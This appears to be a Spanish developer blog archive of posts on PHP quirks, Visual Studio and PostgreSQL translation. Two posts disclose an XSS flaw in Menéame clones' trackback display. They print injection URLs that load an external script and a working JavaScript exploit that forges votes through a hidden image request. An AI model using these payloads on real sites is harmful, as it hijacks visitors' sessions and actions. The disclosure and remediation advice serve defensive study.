Quiz sobre PHP – rarezas del lenguaje

Qué muestra la siguiente porción de código?

php:
<?php

$variable = 'demo';

if ( $variable > 0 )
        echo 'foo';

if ( ! $variable > 0 )
        echo 'bar';

echo 'baz';

?>

Proyectos temporales en Visual Studio .NET

Normalmente para poder probar algunas cosas en Visual Studio .NET, necesariamente debes crear un proyecto y guardarlo en una determinada ubicación, aún cuando sabes que difícilmente vuelvas a mirar lo que hiciste.

Buscando la forma de tener proyectos temporales, encontré esta parte de la documentación:

Para habilitar los proyectos temporales en el entorno de desarrollo

  1. En el menú Herramientas, seleccione Opciones.
  2. Expanda el nodo Proyectos y soluciones y seleccione el nodo General.
  3. Asegúrese de que la opción Guardar nuevos proyectos al crearlos no está seleccionada.
  4. Haga clic en el botón Aceptar.

Importancia de la validación de datos – Demostración

Finalmente, presento un pequeño exploit que hice para aprovechar la falla comentada en anteriores posts. Lo que hace el exploit es enviar un "ataque" XSS para que el script http://test.buayacorp.com/s.js cargue en la página afectada.

javascript:
window.onload = function () {
        var doc = document.body.innerHTML;
        var match = /menealo\((\d+),(\d+),\2,'([^']+)'\)/.exec(doc);
        if (match != null && match.length == 4) {
                var img = '
<img src="/backend/menealo.php?user=' + match[1] + '&id=' + match[2] + '&md5=' + match[3] + '" style="display:none" />';

                document.write(img);
        }
}

Pueden ver el caso de prueba en floreame, a quienes de antemano pido disculpas por las molestias causadas y sugiero que actualizen a la última versión de el script para solucionar esto. Cada vez que entren en esta dirección, automáticamente estarán meneando el enlace enviado.

Código fuente: http.zip

Disclaimer: Este exploit ha sido publicado con el fin de que los pocos lectores de este sitio ayuden en cierta medida a que los responsables de los diferentes clones de Menéame que muestren el listado de trackbacks, puedan corregir la falla descrita en posts anteriores.

Importancia de la validación de datos

En un post anterior puse un quiz sobre validación de datos, debido a que hubo una enorme cantidad de respuestas :D, quiero hacer unas cuantas aclaraciones y mostrar como un pequeño error puede tener consecuencias nada deseables.

Antes de empezar quiero advertir al ávido lector, que este post será un poco largo.

El error

Voy a tomar las lineas más importantes del quiz mencionado:

php:
##############
# demo.php
$tb_url    = $_POST['url']; # Obtiene el valor del parámetro 'url'

# ...
$excerpt = strip_tags($excerpt);
$excerpt = (strlen($excerpt) > 200) ? substr($excerpt, 0, 200) . '...' : $excerpt;


# Valida que la URL enviada realmente exista
$contents=@file_get_contents($tb_url);
if(!$contents) {       
        die('The provided URL does not seem to work.');
}

##############
# show.php
# Muestra el contenido de la URL ingresada
echo '<li><a href="'.$tb->url.'" title="'.$tb->excerpt.'">'.$tb->title.'</a></li>';

Como seguramente lo han notado, la variable 'url' puede contener cualquier valor, siempre y cuando éste sea accesible al mundo exterior. Veamos algunos ejemplos (se omite intencionalmente los valores de $tb->excerpt y $tb->title, aunque la variable $tb->excerpt también puede contener ciertos valores no deseados):

  1. [http://wwww.buayacorp.com/?] - esta url pasa la "validación" hecha por file_get_contents; show.php mostraría: [<a href="http://www.buayacorp.com/?"> ... </a>]
  2. [http://www.buayacorp.com/?" onclick=alert(document.cookie) f="] - esta url pasa* la "validación" hecha por file_get_contents; show.php mostraría: [<a href="http://www.buayacorp.com/?" onclick=alert(document.cookie) f=""> ... </a>]
  3. [http://wwww.buayacorp.com/?"><script src=http://www.buayacorp.com/s.js></script><a href="] - esta url pasa* la "validación" hecha por file_get_contents; show.php mostraría: [<a href="http://www.buayacorp.com/?"><script src=http://www.buayacorp.com/s.js></script><a href=""> ... </a>]

Aprovechando la falla

Si tomamos como base la última dirección URL -que es el que más nos conviene- de los ejemplos mostrados, veremos que se produce un error en file_get_contents, puesto que la mayoría de los servidores web se quejarán de que existen caracteres inválidos y mandarán un error 400 (Bad Request), a continuación parte del log de un servidor Apache 1.33 luego de realizar unas pruebas:

code:
[Mon Sep 18 14:07:51 2006] [error] [client 127.0.0.1] request failed: erroneous characters after protocol string: GET/?u=\"<script src=http://localhost/s.js></script><a\"

La solución a este inconveniente es trivial, ya que sólo es necesario implementar un servidor web que no haga ningún tipo de validación sobre los datos que recibe.

Consecuencias

Esos errores aparentemente inofensivos, permiten hacer en la página afectada, todo lo que se puede hacer (valga la redundancia) con javascript. En un siguiente post mostraré ejemplos reales.

Recomendaciones

  • Jamás confien en los datos que llegan o puedan ser modificados por el cliente.
  • Conozcan su herramienta y/o lenguaje con el que actualmente trabajan, esto les dará una idea clara de que cosas están protegidos(as) y que cosas no.
  • Lean algún(os) libro(s) y visiten sitios relacionados a seguridad.

Menéame y sus clones

Muchos se preguntarán que diablos tiene que ver menéame y sus clones aquí, pero la verdad es que el anterior quiz y este post estan relacionados a una falla de menéame, que fue corregida en parte el 25/09/2006, digo en parte porque existe la posibilidad de que algún spammer hdp pueda enviar todos los trackbacks que quiera. IMHO, sería bueno limitar el número de trackbacks desde una dirección IP en un lapso determinado y luego aplicar filtros antispam sobre los que pasen.

El caso de los clones es otro problema, ya que al parecer muchos de los responsables de estos proyectos no están al tanto de las correciones que se hacen en la versión principal -donde últimamente existe diferencias entre los problemas que muestra la página de reporte de bugs y los problemas solucionados que se especifican en el archivo CHANGES, motivo por el cual muchos clones todavía son vulnerables a ciertos ataques. Sería bueno que Ricardo pueda ofrecer una forma rápida de que los interesados puedan corregir sus versiones ante problemas algo críticos.

Excepciones en PHP

Desde PHP 5 podemos hacer el uso de excepciones como casi en cualquier lenguage de programación, ¿excelente verdad? Pero hay que tener en cuenta que aunque las excepciones sean una gran herramienta, también podrían ser peligrosas cuando son usadas indebidamente, por ejemplo nuestra aplicación podría consumir muchos recursos.

Veamos un ejemplo del mal uso de excepciones:

PHP:

<?php
function foo() {
    if ($usuario !== "Hola") {
        throw new Exception("Usuario incorrecto");
    }
}
?>
 

Esto está totalmente incorrecto, ya que este es un error que podríamos manejarlo nosotros mismos, es un error de usuario y no de la aplicación. Las excepciones deben ser usadas sólo cuando nuestra aplicación termine debido a un estado excepcional.

El siguiente ejemplo terminará si la conexión a nuestra base de datos demoró mucho tiempo:

PHP:

<?php
function bar() {
    if (conexion_fuera_de_tiempo()) {
        throw new Exception("Connection timeout");
    }
}
?>
 

Debemos usar adecuadamente las excepciones ya que estas consumen un poco de recursos cada vez que las utilizamos, veamos:

PHP:

<?php
for ($i = 1000000; $i > 0; $i--) {
    throw new Exceptions("Je je, estoy acabando con la memoria...");
}
?>
 

Utilizemos corréctamente estas herramientas, pero sólo cuando sean necesarias. Sabemos que son de gran ayuda pero como vimos también pueden hacer que nuestra aplicación no sea la mejor.

Referencias

Ayuda a traducir la documentación de PostgreSQL

Para los interesados en ayudar con la traducción de la documentación de PostgreSQL, pueden hacerlo desde l10n.postgresql.cl/.

Esta es una invitacion a aquellos que desean participar en el (segundo) proceso de traduccion de la traduccion. Mario Gonzalez ha estado dedicado duramente al trabajo de escribir una webapp para esta facilitar esta tarea, de modo que puedan hacerlo desde la comodidad de su browser.

El proceso es sencillo -- en el sitio web encontraran un link para "crear cuenta", con la cual tendran luego acceso a los distintos catalogs POT que tienen las cadenas a traducir. Introducen una traduccion, apretan "enviar" y listo :-) La cadena sera posteriormente chequeada por un "revisor", quien verificara los detalles como acentos, gramatica, etc, para asegurarnos de obtener una traduccion de buena calidad.

Encontraran la aplicacion web en http://l10n.postgresql.cl/

Observen que esta es una etapa temprana del sistema; aun no estamos ni siquiera en periodo de "marcha blanca"; esto es como un pre-beta. Por favor reporten cualquier problema que encuentren en la webapp.

Con un poco de suerte y el esfuerzo combinado de todos, esperamos poder contar con el manual traducido en algun futuro no muy lejano, y ademas, de una manera que pueda mantenerse actualizada sin mucho trabajo, de manera que no suceda lo que sucedio con el esfuerzo de traduccion anterior, el cual tuvo una corta vida.

Aquellos que tengan acceso a traducciones masivas (por ej. el de plpgsql que habian hecho los amigos de inteligentes.com, creo) y quieran ponerlas a disposicion de este sistema, por favor ponganse en contacto con nosotros en privado.

CTP de Visual Studio “Orcas”

Un CTP de Visual Studio "Orcas" -la siguiente versión de Visual Studio .NET, ha sido publicado como una imagen de Virtual PC.

Las cosas que incluye este CTP son:

  • Improvements on the widely acclaimed Visual Studio 2005 product set
  • Significant investments in improving product quality
  • LINQ to Objects API
    • LINQ to Objects API supports queries over any .NET collection, such as arrays and Generic Lists. This API is defined in the System.Query namespaces inside System.Core.dll.
  • Partial C# 3.0 Language Support: This CTP implements some of the new language features of C# 3.0
    • Local variable type interface
    • Lambda expressions
    • Object initializers
  • Partial C# 3.0 IDE Support: In addition to the C# 3.0 language features there is partial IDE support
    • Colorization and New Keywords in Completion List
    • Edit and Continue Rude Edit Detection
  • Partial VB 9.0 Language support (Due to differences in feature delivery schedules VB implementations of the above C# features will appear in a future CTP)
    • Local variable type inference and Option Infer switch
  • VSTS Improvements in load & unit testing such as unit test for devices
  • Device development improvements
    • VSTS integration
    • Access and modify device security configuration from the IDE
  • Enables developers to build and debug a Windows Vista Application
  • Enables Visual Studio Tools for Office developers to build document-level customizations for Word and Excel 2007
  • Enables eMbedded Visual C++ 4.0 developers to use Visual Studio Code Name “Orcas” to build their existing applications
  • NET Framework improvements such as:
    • New managed add-in model enables developers to add a version-resilient extensibility model to their products.
    • Support for time zone conversion, enumeration and serialization, including cases where Daylight Saving Time rules change over time.
    • Reflection in Partial Trust, enabling sand box scenarios for all applications that depend on these features.
    • The ability to control the garbage collector’s latency mode
    • Improved CLR ThreadPool micro-performance and throughput for worker and IO completion

Fuente: Blog de Fabrice Marguerie

Seamos E_STRICT

PHP tiene un nuevo nivel de error, se llama E_STRICT y está disponible a partir de PHP 5.

Este nuevo nivel de error, nos da mensajes en tiempo de ejecución y nos sugiere cambios en el código para tener un mejor rendimiento además de ayudarnos a tener un código limpio. Veamos un ejemplo típico:

PHP:

<?php

error_reporting = E_ALL | E_STRICT

// Usando la funcion obsoleta 'is_a'
if ( is_a( $objeto, 'Clase' ) ) {
    $objeto->foo();
}
?>
 

E_STRICT nos sugerirá que usemos un operador de tipo, en este caso "instanceof". con lo que tendríamos:

PHP:

<?php
if ( $objeto instanceof Clase ) {
    $objeto->foo();
}
?>
 

Referencias

Instalación del SP1 de Visual Studio 2005

La instalación del SP1 -beta- para Visual Studio 2005 fue realmente un martirio, a continuación una pequeña crónica:

Primero, para poder descargar el SP, tuve que volver a usar -necesariamente- Internet Explorer e instalar un componente ActiveX para la transferencia de archivos, la velocidad de descarga oscilaba en 25 Kb/s, por lo cual tuve que esperar aproximadamente 4 horas para descargar los 371.88 MB del parche principal - me pregunto porque no usan BitTorrent para distribuir este tipo de cosas.

Una vez descargado el SP, tuve esperar unos 5 minutos para que el instalador solamente me pregunte si quiero instalar el parche o no... finalmente, una hora después terminó la instalación y con esto, la actividad de mi procesador volvió a la normalidad.

Unas cuantas imágenes de la actividad que tuvo mi procesador durante la instalación:

No sé si realmente habrá sido problema de mi máquina, o es que talvez no han solucionado completamente los problemas que describían hace tiempo con el tamaño del parche.

Visual Studio 2005 Service Pack 1 Beta

Ya está disponible para la descarga la beta del Service Pack 1 para las versiones en inglés y español del Visual Studio 2005, el tamaño del parche principal es de 371.88 MB

Los parches son los siguientes:

Para descargar este Service Pack, es necesario que se suscriban en la siguiente dirección.